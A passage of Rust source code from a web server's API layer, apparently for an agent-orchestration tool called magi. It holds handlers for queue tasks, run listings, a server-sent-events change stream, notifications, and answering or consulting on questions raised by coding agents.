7263/// saw land - a merge done by hand, or a gate that misreported - and that can
7264/// happen from any status the task was left in.
7265async fn queue_done(
7266    State(ui): State<Arc<Ui>>,
7267    Path(id): Path<String>,
7268) -> ApiResult<Json<TaskView>> {
7269    let home = ui.home.clone();
7270    mutate(ui, id, move |t| {
7271        t.succeed();
7272        // Same as the loop's own settle path: closing a task by hand is just
7273        // as much "this task's story is over" as a daemon-driven `Merged`/
7274        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7275        // behind must stop looking like it still needs a human. `ui.home`,
7276        // not the process-global `run::home()`: they agree in a real
7277        // process, but only `ui.home` also agrees with a test fixture's own
7278        // directory.
7279        crate::daemon::supersede_prior_runs(t, &home);
7280        Ok(())
7281    })
7282    .await
7283}
7284
7285/// `DELETE /api/queue/{id}`.
7286///
7287/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7288/// names this task: a `running` status or an orphaned `.lock` left behind by a
7289/// killed daemon is a leftover, and treating either as authority made the
7290/// task undeletable from the phone for good. The associated runs, if any, are
7291/// kept: a run is self-contained history and not an appendage of the task.
7292async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7293    blocking(move || {
7294        let id = resolve_task(&ui.queue, &id)?;
7295        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7296        ui.queue
7297            .remove(&id, in_flight, &ui.questions)
7298            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7299        Ok(StatusCode::NO_CONTENT)
7300    })
7301    .await
7302}
7303
7304/// Read a task, change it, write it back, under the queue's own lock.
7305///
7306/// Taking the same claim a daemon takes is what makes hold, release,
7307/// priority, edit, and done safe to press while magi is running: without it
7308/// the daemon's next save would land on top of the operator's change and
7309/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7310/// both do, for a running task - and that refusal becomes the 4xx the card
7311/// shows, same as any other domain rule.
7312async fn mutate(
7313    ui: Arc<Ui>,
7314    id: String,
7315    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7316) -> ApiResult<Json<TaskView>> {
7317    blocking(move || {
7318        let id = resolve_task(&ui.queue, &id)?;
7319        // `claim` fails when the lock file already exists, which is the
7320        // conflict the UI must report: the daemon owns that task's file for
7321        // as long as it is running it, and our write would be lost under its
7322        // next save. The message names the lock either way.
7323        let _claim = ui.queue.claim(&id).map_err(|e| {
7324            ApiError::conflict(format!(
7325                "{e:#} - a daemon is running this task, so it cannot be \
7326                 changed from here yet; wait until it is released, then retry"
7327            ))
7328        })?;
7329        let mut task = ui.queue.get(&id)?;
7330        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7331            Ok(dup) => ApiError::conflict(dup.render(
7332                "Nothing was saved. If it is not a duplicate, repeat the request with \
7333                 \"force\": true.",
7334            )),
7335            Err(e) => ApiError::bad_request_from(e),
7336        })?;
7337        ui.queue.put(&mut task)?;
7338        Ok(Json(TaskView::from(task)))
7339    })
7340    .await
7341}
7342
7343/// The change stream: one revision number per store, on connect and whenever
7344/// any of them moves.
7345///
7346/// One shared worker scans stores; clients only forward its notifications.
7347async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7348    ui.monitor.ensure_worker(&ui);
7349    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7350    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7351
7352    let state = Arc::clone(&ui);
7353    tokio::spawn(async move {
7354        let initial_revisions = {
7355            let guard = match state.monitor.latest.lock() {
7356                Ok(g) => g,
7357                Err(p) => p.into_inner(),
7358            };
7359            guard.as_ref().map(|(r, _)| *r)
7360        };
7361        if let Some(revisions) = initial_revisions {
7362            let initial_payload = serde_json::json!({
7363                "queue_rev": revisions.0,
7364                "runs_rev": revisions.1,
7365                "questions_rev": revisions.2,
7366                "talks_rev": revisions.3,
7367                "notifications_rev": revisions.4,
7368                "loop_rev": revisions.5,
7369            });
7370
7371            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7372                if tx.send(event).await.is_err() {
7373                    return;
7374                }
7375            }
7376        }
7377
7378        loop {
7379            match tokio::select! {
7380                _ = tx.closed() => return,
7381                value = broadcast_rx.recv() => value,
7382            } {
7383                Ok(notif) => {
7384                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7385                    else {
7386                        break;
7387                    };
7388                    if tx.send(event).await.is_err() {
7389                        break;
7390                    }
7391                }
7392                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7393                    let revs = {
7394                        let guard = match state.monitor.latest.lock() {
7395                            Ok(g) => g,
7396                            Err(p) => p.into_inner(),
7397                        };
7398                        guard.as_ref().map(|(r, _)| *r)
7399                    };
7400                    if let Some(revs) = revs {
7401                        let payload = serde_json::json!({
7402                            "queue_rev": revs.0,
7403                            "runs_rev": revs.1,
7404                            "questions_rev": revs.2,
7405                            "talks_rev": revs.3,
7406                            "notifications_rev": revs.4,
7407                            "loop_rev": revs.5,
7408                        });
7409                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7410                            if tx.send(event).await.is_err() {
7411                                break;
7412                            }
7413                        }
7414                    }
7415                }
7416                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7417                    break;
7418                }
7419            }
7420        }
7421    });
7422
7423    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7424        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7425}
7426
7427/// Run ids under `runs`, newest first.
7428///
7429/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7430/// which reads the process-global home: the server has to be drivable against
7431/// a temp directory for any of this to be testable.
7432fn run_ids(runs: &FsPath) -> Vec<String> {
7433    let mut ids: Vec<String> = std::fs::read_dir(runs)
7434        .into_iter()
7435        .flatten()
7436        .flatten()
7437        .filter(|e| e.path().join("run.json").is_file())
7438        .map(|e| e.file_name().to_string_lossy().into_owned())
7439        .collect();
7440    // Ids start with a sortable timestamp.
7441    ids.sort_unstable_by(|a, b| b.cmp(a));
7442    ids
7443}
7444
7445/// Read one run's state from an explicit runs root.
7446fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7447    let path = runs.join(id).join("run.json");
7448    let body =
7449        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7450    let state: RunState =
7451        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7452    // The same migration `RunState::load` applies, so a record from the
7453    // previous schema reads here as it does everywhere else (an origin-less
7454    // run shows as "origin unknown") instead of vanishing from the phone the
7455    // moment the schema is bumped.
7456    run::migrate_schema(state)
7457}
7458
7459/// Runs on disk under `runs` whose state this build cannot parse - almost
7460/// always a schema bump, occasionally a run killed mid-write.
7461///
7462/// Exposed so every surface that reports on runs shares one count instead of
7463/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7464/// `magi doctor` calls this directly rather than guessing at the same number
7465/// a second way.
7466#[must_use]
7467pub fn runs_unreadable(runs: &FsPath) -> usize {
7468    run_ids(runs)
7469        .into_iter()
7470        .filter(|id| read_run(runs, id).is_err())
7471        .count()
7472}
7473
7474fn plain_record_id(id: &str) -> bool {
7475    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7476}
7477
7478/// Expand an id or short id to exactly one run id.
7479fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7480    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7481        return Ok(id.to_owned());
7482    }
7483    pick(run_ids(runs), id, "run")
7484}
7485
7486/// Expand an id or short id to exactly one task id.
7487fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7488    if plain_record_id(id) && queue.path_of(id).is_file() {
7489        return Ok(id.to_owned());
7490    }
7491    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7492    pick(ids, id, "task")
7493}
7494
7495/// A question as the phone reads it.
7496///
7497/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7498/// text already parsed into a node tree so the client never runs its own
7499/// markdown reader over agent-authored prose. A relative image path in it
7500/// resolves against this question's own panel asset route, which is the one
7501/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7502/// separate, sandboxed document, but `detail` is rendered inline in the
7503/// operator's own page, so an image reference in it may only ever point at
7504/// files magi itself already serves for this question.
7505#[derive(Debug, Serialize)]
7506struct QuestionView {
7507    choice_effects: std::collections::BTreeMap<String, String>,
7508    record_revision: String,
7509    #[serde(flatten)]
7510    question: Question,
7511    detail_md: Vec<md::Node>,
7512    posting_view: Option<PostingView>,
7513    /// Each thread turn's body, parsed; same order as `question.thread`.
7514    thread_bodies_md: Vec<Vec<md::Node>>,
7515    /// Each thread turn's deputy note, parsed (`None` for a turn without
7516    /// one); same order as `question.thread`.
7517    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7518    /// Is the ball in the agent's court right now?
7519    ///
7520    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7521    /// [`Question::say`] - so this is the one field that tells the phone to
7522    /// disable the answer controls and show "waiting for the agent" instead of
7523    /// a card the owner can act on. Computed rather than stored on
7524    /// [`Question`] itself, on the same reasoning as `waiting` on
7525    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7526    /// it here means the client never has to re-derive that rule.
7527    waiting_on_agent: bool,
7528    /// Who is waiting on this open question - see [`holder_of`]. Separate
7529    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7530    /// anyone is there to take it.
7531    holder: Option<&'static str>,
7532    /// Whether `magi serve` can start a follow-up agent for a conductor
7533    /// question at all: false when `daemon.max_deputies = 0` or the config is
7534    /// unreadable. Separate from `holder`, which says who is listening now.
7535    deputies_enabled: bool,
7536    /// All starts were spent and no live holder remains. Display-only: the
7537    /// final attempt increments `starts` before running under its lease.
7538    deputy_exhausted: bool,
7539    text_delivery: crate::question_delivery::Availability,
7540    /// `question.run` is a task id (conductor / triage questions), not a run
7541    /// id, so the UI links it to the task page.
7542    run_is_task: bool,
7543    /// The existing chat this question's task came from, including settled
7544    /// questions - see [`crate::consult::associated_talk`].
7545    origin_chat: Option<String>,
7546    /// `origin_chat` is closed; consulting reopens it first.
7547    origin_chat_closed: bool,
7548    /// Consultation eligibility is separate from navigation to the chat.
7549    can_consult_chat: bool,
7550}
7551
7552#[derive(Debug, Serialize)]
7553struct PostingView {
7554    before_md: Vec<md::Node>,
7555    after_md: Vec<md::Node>,
7556    fields: Vec<crate::github_text::ComparisonView>,
7557}
7558
7559fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7560    let comparison = question.posting_comparison.as_ref()?;
7561    if !comparison.matches_detail(&question.detail) {
7562        return None;
7563    }
7564    let mut ids = std::collections::BTreeSet::new();
7565    if comparison.fields.is_empty()
7566        || comparison
7567            .fields
7568            .iter()
7569            .flat_map(|f| &f.pairs)
7570            .any(|p| !ids.insert(p.id))
7571        || comparison
7572            .fields
7573            .iter()
7574            .flat_map(|f| &f.original_triggers)
7575            .any(|t| !ids.insert(t.id))
7576    {
7577        return None;
7578    }
7579    let fields = comparison
7580        .fields
7581        .iter()
7582        .map(|f| f.view(comparison.excerpt))
7583        .collect::<Option<Vec<_>>>()?;
7584    Some(PostingView {
7585        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7586        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7587        fields,
7588    })
7589}
7590
7591impl QuestionView {
7592    /// The view of `question`, reading who is waiting on it from `store`.
7593    ///
7594    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7595    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7596        let base = md::ImageBase::QuestionPanel {
7597            id: question.id.clone(),
7598        };
7599        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7600        Self {
7601            choice_effects: question
7602                .choices
7603                .iter()
7604                .filter_map(|c| {
7605                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7606                })
7607                .collect(),
7608            record_revision: question_record_revision(&question),
7609            detail_md: md::to_nodes(&question.detail, &base),
7610            posting_view: posting_view(&question, &base),
7611            thread_bodies_md: question
7612                .thread
7613                .iter()
7614                .map(|t| md::to_nodes(&t.body, &base))
7615                .collect(),
7616            thread_notes_md: question
7617                .thread
7618                .iter()
7619                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7620                .collect(),
7621            deputy_exhausted: store.deputy_exhausted(&question),
7622            waiting_on_agent: question.waiting_on_agent(),
7623            holder,
7624            deputies_enabled: deputies_enabled(cfg, &question),
7625            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7626            run_is_task: question.run_names_task(),
7627            origin_chat: None,
7628            origin_chat_closed: false,
7629            can_consult_chat: false,
7630            question,
7631        }
7632    }
7633
7634    /// Fill `origin_chat` from the queue and the talks.
7635    fn with_origin(
7636        mut self,
7637        tasks: &[crate::queue::Task],
7638        talks: &[Talk],
7639        watches: &[crate::release_watch::WatchState],
7640    ) -> Self {
7641        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7642        self.can_consult_chat = consult.is_some();
7643        let talk =
7644            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7645        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7646        self.origin_chat = talk.map(|t| t.id);
7647        self
7648    }
7649}
7650
7651/// The config this repository resolves, or `None` when it cannot be read.
7652/// Discovering is git processes plus a config render, so a request that needs
7653/// it for many items takes it once and passes it down.
7654fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7655    Config::discover(repo, None).ok().map(|(c, _)| c)
7656}
7657
7658/// Can `magi serve` start a deputy for this question under `cfg`?
7659fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7660    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7661}
7662
7663/// The views `GET /api/questions` answers. `load` runs at most once, however
7664/// many questions there are, and not at all when there are none.
7665fn question_views(
7666    qs: Vec<Question>,
7667    store: &ask::Questions,
7668    load: impl FnOnce() -> Option<Config>,
7669) -> Vec<QuestionView> {
7670    if qs.is_empty() {
7671        return Vec::new();
7672    }
7673    let cfg = load();
7674    qs.into_iter()
7675        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7676        .collect()
7677}
7678
7679/// Who is honestly waiting on an open question right now: `"asker"` (the
7680/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7681/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7682/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7683/// up, or the question never had anyone listening (a conductor question or a
7684/// merge approval from before deputies, or not yet given one).
7685///
7686/// `None` for a question that is settled, and for one that is not an agent's
7687/// to wait on at all (a release notice).
7688fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7689    if !q.status.open() {
7690        return None;
7691    }
7692    if q.cwd.is_none()
7693        && q.deputy.is_none()
7694        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7695    {
7696        return crate::deputy::kind_of(q).map(|_| "nobody");
7697    }
7698    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7699        Some(_) if q.deputy.is_some() => "deputy",
7700        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7701        Some(_) => "asker",
7702        None => "nobody",
7703    })
7704}
7705
7706/// `GET /api/questions`.
7707///
7708/// Everything, not just the open ones: an answered question is the record of a
7709/// decision, and the phone is where the operator goes back to check what they
7710/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7711async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7712    blocking(move || {
7713        let questions = ui.questions.list();
7714        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7715        Ok(Json(
7716            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7717                .into_iter()
7718                .map(|view| view.with_origin(&tasks, &talks, &watches))
7719                .collect(),
7720        ))
7721    })
7722    .await
7723}
7724
7725/// Question content and answer controls never wait for task/chat provenance.
7726async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7727    blocking(move || {
7728        Ok(Json(question_views(
7729            ui.questions.list(),
7730            &ui.questions,
7731            || deputy_config(&ui.repo),
7732        )))
7733    })
7734    .await
7735}
7736
7737fn question_record_revision(question: &Question) -> String {
7738    use std::hash::{Hash as _, Hasher as _};
7739    let mut hash = std::hash::DefaultHasher::new();
7740    serde_json::to_vec(question)
7741        .expect("serializable question")
7742        .hash(&mut hash);
7743    format!("{:016x}", hash.finish())
7744}
7745
7746#[derive(Serialize)]
7747struct QuestionOriginView {
7748    id: String,
7749    record_revision: String,
7750    origin_chat: Option<String>,
7751    origin_chat_closed: bool,
7752    can_consult_chat: bool,
7753}
7754
7755async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
7756    blocking(move || {
7757        let questions = ui.questions.list();
7758        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7759        Ok(Json(
7760            questions
7761                .into_iter()
7762                .map(|question| {
7763                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
7764                    let can_consult_chat = consult.is_some();
7765                    let talk = crate::consult::associated_talk_with_watches(
7766                        &tasks, &talks, &question, &watches,
7767                    );
7768                    QuestionOriginView {
7769                        record_revision: question_record_revision(&question),
7770                        id: question.id,
7771                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
7772                        origin_chat: talk.map(|talk| talk.id),
7773                        can_consult_chat,
7774                    }
7775                })
7776                .collect(),
7777        ))
7778    })
7779    .await
7780}
7781
7782type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
7783
7784/// Only the task ancestry and chats these questions actually reference. Run
7785/// mappings share the reconciled queue index; exact task references bypass it.
7786/// No question means no task/chat I/O, including no index reconciliation.
7787fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
7788    fn task_for_run(
7789        ui: &Ui,
7790        index: &mut Option<Vec<Arc<TaskRelation>>>,
7791        run: &str,
7792        loaded: &HashMap<String, Task>,
7793    ) -> ApiResult<Option<Task>> {
7794        if !plain_record_id(run) {
7795            return Ok(None);
7796        }
7797        if index.is_none() {
7798            *index = Some(ui.indexed_tasks()?);
7799        }
7800        Ok(index
7801            .as_ref()
7802            .expect("loaded index")
7803            .iter()
7804            .find(|task| task.runs.iter().any(|id| id == run))
7805            .and_then(|task| {
7806                loaded
7807                    .get(&task.id)
7808                    .cloned()
7809                    .or_else(|| ui.queue.get(&task.id).ok())
7810            })
7811            .filter(|task| task.runs.iter().any(|id| id == run)))
7812    }
7813    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
7814        plain_record_id(id)
7815            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
7816            .flatten()
7817            .filter(|task| task.id == id)
7818    };
7819    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
7820    let mut index = None;
7821    let mut tasks = HashMap::new();
7822    let mut talks = HashMap::new();
7823    for question in questions {
7824        for reference in crate::consult::question_task_refs(question, &watches) {
7825            let mut current = match reference {
7826                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
7827                crate::consult::QuestionTaskRef::Run(id) => {
7828                    task_for_run(ui, &mut index, id, &tasks)?
7829                }
7830            };
7831            let mut seen = HashSet::new();
7832            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
7833                let Some(task) = current.take() else {
7834                    break;
7835                };
7836                if !seen.insert(task.id.clone()) {
7837                    break;
7838                }
7839                let chat = task.chat_talk().map(str::to_owned);
7840                let followup = task.followup.clone();
7841                tasks.insert(task.id.clone(), task);
7842                if let Some(chat) = chat {
7843                    if plain_record_id(&chat)
7844                        && !talks.contains_key(&chat)
7845                        && let Ok(talk) = ui.talks.get(&chat)
7846                    {
7847                        talks.insert(chat, talk);
7848                    }
7849                    break;
7850                }
7851                let Some(followup) = followup else {
7852                    break;
7853                };
7854                current = match followup.origin_task {
7855                    Some(id) => direct_task(&id, &tasks),
7856                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
7857                };
7858            }
7859        }
7860    }
7861    let mut tasks: Vec<Task> = tasks.into_values().collect();
7862    tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
7863    Ok((tasks, talks.into_values().collect(), watches))
7864}
7865
7866/// `GET /api/notifications`: not dismissed, newest first, with the unread
7867/// count so the badge and the list cannot disagree.
7868async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7869    blocking(move || {
7870        let items = ui.notices.list();
7871        let unread = items.iter().filter(|n| n.unread()).count();
7872        let items: Vec<_> = items
7873            .into_iter()
7874            .map(|n| {
7875                let question = crate::notices::answerable_question(&n, &ui.questions);
7876                let mut item = serde_json::to_value(n)?;
7877                item["answerable_question"] = serde_json::json!(question);
7878                Ok(item)
7879            })
7880            .collect::<anyhow::Result<_>>()?;
7881        Ok(Json(
7882            serde_json::json!({ "unread": unread, "items": items }),
7883        ))
7884    })
7885    .await
7886}
7887
7888fn notice_error(e: anyhow::Error) -> ApiError {
7889    // An unknown or malformed id and a vanished file are the same answer to
7890    // the phone: that notification is gone.
7891    ApiError::not_found(format!("{e:#}"))
7892}
7893
7894/// `POST /api/notifications/{id}/read`.
7895async fn notification_read(
7896    State(ui): State<Arc<Ui>>,
7897    Path(id): Path<String>,
7898) -> ApiResult<Json<Notice>> {
7899    blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
7900}
7901
7902/// `POST /api/notifications/{id}/dismiss`.
7903async fn notification_dismiss(
7904    State(ui): State<Arc<Ui>>,
7905    Path(id): Path<String>,
7906) -> ApiResult<Json<Notice>> {
7907    blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
7908}
7909
7910/// `POST /api/notifications/read-all`.
7911async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
7912    blocking(move || {
7913        let changed = ui.notices.mark_all_read()?;
7914        Ok(Json(serde_json::json!({ "marked": changed })))
7915    })
7916    .await
7917}
7918
7919/// The body of `POST /api/questions/{id}/answer`.
7920///
7921/// Exactly one of the two fields, mirroring `ask::Answer`. Both or neither is
7922/// a bad request rather than a guess: an answer magi invented is worse than a
7923/// question left open.
7924#[derive(Debug, Default, Deserialize)]
7925#[serde(default, deny_unknown_fields)]
7926struct NewAnswer {
7927    choice: Option<String>,
7928    text: Option<String>,
7929    talk: Option<String>,
7930    head: Option<String>,
7931}
7932
7933async fn question_answer(
7934    State(ui): State<Arc<Ui>>,
7935    Path(id): Path<String>,
7936    body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
7937) -> ApiResult<Json<QuestionView>> {
7938    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7939    let answer = match (body.choice, body.text) {
7940        (Some(c), None) => Answer::Choice(c),
7941        (None, Some(t)) => Answer::Text(t),
7942        (Some(_), Some(_)) => {
7943            return Err(ApiError::bad_request(
7944                "send either `choice` or `text`, not both",
7945            ));
7946        }
7947        (None, None) => {
7948            return Err(ApiError::bad_request("send a `choice` or a `text`"));
7949        }
7950    };
7951
7952    blocking(move || {
7953        let id = resolve_question(&ui.questions, &id)?;
7954        let q = ui
7955            .questions
7956            .get(&id)
7957            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
7958        if !q.status.open() {
7959            // Answered from the terminal, or by another phone, in between the
7960            // list and the tap. The UI shows the recorded answer rather than an
7961            // error, so it needs the record, not just the status.
7962            return Err(ApiError::conflict(format!(
7963                "question {} is already {}",
7964                q.short(),
7965                q.status.as_str()
7966            )));
7967        }
7968        // `Question::answer` owns the rules - an unoffered choice, free text on
7969        // a multiple-choice question, an empty reply - so the route does not
7970        // restate them and cannot drift from the CLI's behaviour.
7971        let cfg = deputy_config(&ui.repo);
7972        let (q, ()) = ui
7973            .questions
7974            .update(&q.id, |r| {
7975                let merge = matches!(&answer, ask::Answer::Choice(c) if c == crate::land::APPROVE);
7976                // Buttons retain their displayed chat/head binding. A direct
7977                // decision does not require a button or a prior persona offer.
7978                if r.routed_task.is_some()
7979                    && r.merge_target.is_some()
7980                    && merge
7981                    && (body.talk.is_some() || body.head.is_some())
7982                {
7983                    let talk_id = body
7984                        .talk
7985                        .as_deref()
7986                        .context("approval button requires its chat")?;
7987                    let head = body
7988                        .head
7989                        .as_deref()
7990                        .context("approval button requires the displayed head")?;
7991                    let talk = ui.talks.get(talk_id)?;
7992                    anyhow::ensure!(talk.status.open(), "approval chat is closed");
7993                    r.answer_chat_button(answer, talk_id, head)
7994                } else {
7995                    r.answer(answer)
7996                }
7997            })
7998            .map_err(ApiError::bad_request_from)?;
7999        let (tasks, talks, watches) =
8000            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8001        Ok(Json(
8002            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8003        ))
8004    })
8005    .await
8006}
8007
8008/// A dedicated status avoids the client's settled-question 409 handling.
8009fn question_text_error(e: anyhow::Error) -> ApiError {
8010    let reason = e
8011        .downcast_ref::<crate::question_delivery::TextUnavailable>()
8012        .map(|e| e.reason);
8013    let error = ApiError::bad_request_from(e);
8014    if let Some(reason) = reason {
8015        ApiError {
8016            text_reason: Some(reason),
8017            ..error.with_status(StatusCode::UNPROCESSABLE_ENTITY)
8018        }
8019    } else {
8020        error
8021    }
8022}
8023
8024/// The body of `POST /api/questions/{id}/say`.
8025#[derive(Debug, Deserialize)]
8026#[serde(deny_unknown_fields)]
8027struct NewSay {
8028    body: String,
8029}
8030
8031/// `POST /api/questions/{id}/say` - the owner talks back without deciding.
8032///
8033/// Synchronous, unlike `POST /api/talks/{id}/say`: that route spawns an agent
8034/// CLI and waits on it, this one only appends a [`ask::Turn`] and writes the
8035/// file, so there is no turn to serialize against and no
8036/// [`Ui::begin_talk_turn`] guard to take. The agent waiting on this question
8037/// is a *different* process - the run parked behind `magi ask` - and picks
8038/// the reply up on its own poll of the very same file, same as an answer
8039/// does.
8040async fn question_say(
8041    State(ui): State<Arc<Ui>>,
8042    Path(id): Path<String>,
8043    body: std::result::Result<Json<NewSay>, JsonRejection>,
8044) -> ApiResult<Json<QuestionView>> {
8045    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
8046    blocking(move || {
8047        let id = resolve_question(&ui.questions, &id)?;
8048        let q = ui
8049            .questions
8050            .get(&id)
8051            .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
8052        if !q.status.open() {
8053            // Same granularity as `question_answer`: answered or abandoned in
8054            // between the list and the tap is not this route's error to
8055            // explain any differently.
8056            return Err(ApiError::conflict(format!(
8057                "question {} is already {}",
8058                q.short(),
8059                q.status.as_str()
8060            )));
8061        }
8062        // `Question::say` owns the one rule that matters here - an empty
8063        // message tells the agent nothing - so the route does not restate it.
8064        let cfg = deputy_config(&ui.repo);
8065        let (q, ()) = ui
8066            .questions
8067            .update(&q.id, |r| {
8068                if body.body.trim().is_empty() {
8069                    return r.say(body.body);
8070                }
8071                crate::question_delivery::require(&ui.questions, r, cfg.as_ref())?;
8072                r.say(body.body)
8073            })
8074            .map_err(question_text_error)?;
8075        let (tasks, talks, watches) =
8076            question_origin_inputs(&ui, std::slice::from_ref(&q)).unwrap_or_default();
8077        Ok(Json(
8078            QuestionView::of(q, &ui.questions, cfg.as_ref()).with_origin(&tasks, &talks, &watches),
8079        ))
8080    })
8081    .await
8082}
8083
8084/// A disconnected request or a replacing listener cannot interrupt the short
8085/// transaction between persistence and detached worker publication.
8086async fn admitted<T: Send + 'static>(
8087    admission: AdmissionGuard,
8088    work: impl Future<Output = ApiResult<T>> + Send + 'static,
8089) -> ApiResult<T> {
8090    tokio::spawn(async move {
8091        let result = work.await;
8092        drop(admission);
8093        result
8094    })
8095    .await
8096    .map_err(|error| ApiError::internal(format!("work admission failed: {error}")))?
8097}
8098
8099/// `POST /api/questions/{id}/consult` - hand the question to the chat its task
8100/// came from. The question stays open: the chat agent answers it with `magi
8101/// answer`, or puts the decision to the owner in the conversation.
8102///
8103/// Answers 202 and runs the turn in the background, like every route that
8104/// spends agent calls. The text is queued as a draft of the existing talk, and
8105/// the turn goes through the talk's own gate and session; no seat or waiter is
8106/// started here.
8107async fn question_consult(
8108    State(ui): State<Arc<Ui>>,
8109    Path(id): Path<String>,
8110) -> ApiResult<(StatusCode, Json<QuestionView>)> {
8111    let admission = ui.begin_admission()?;
8112    admitted(admission, async move {
8113        let (q, tasks, talks, watches, talk, cfg) = blocking({
8114            let ui = Arc::clone(&ui);
8115            move || {
8116                let id = resolve_question(&ui.questions, &id)?;
8117                let q = ui.questions.get(&id).map_err(|e| {
8118                    ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR)
8119                })?;
8120                if !q.status.open() {
8121                    return Err(ApiError::conflict(format!(
8122                        "question {} is already {}",
8123                        q.short(),
8124                        q.status.as_str()
8125                    )));
8126                }
8127                let (tasks, talks, watches) =
8128                    question_origin_inputs(&ui, std::slice::from_ref(&q))?;
8129                let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
8130                    return Err(ApiError::conflict(format!(
8131                        "question {} has no chat to ask",
8132                        q.short()
8133                    )));
8134                };
8135                // Read the config before `begin` saves anything: a failure here
8136                // must leave no consult record or draft behind, or a retry would
8137                // see `fresh == false` and never start the turn.
8138                let cfg = if q.consult.is_none() {
8139                    Some(Config::discover(&talk.repo, None)?.0)
8140                } else {
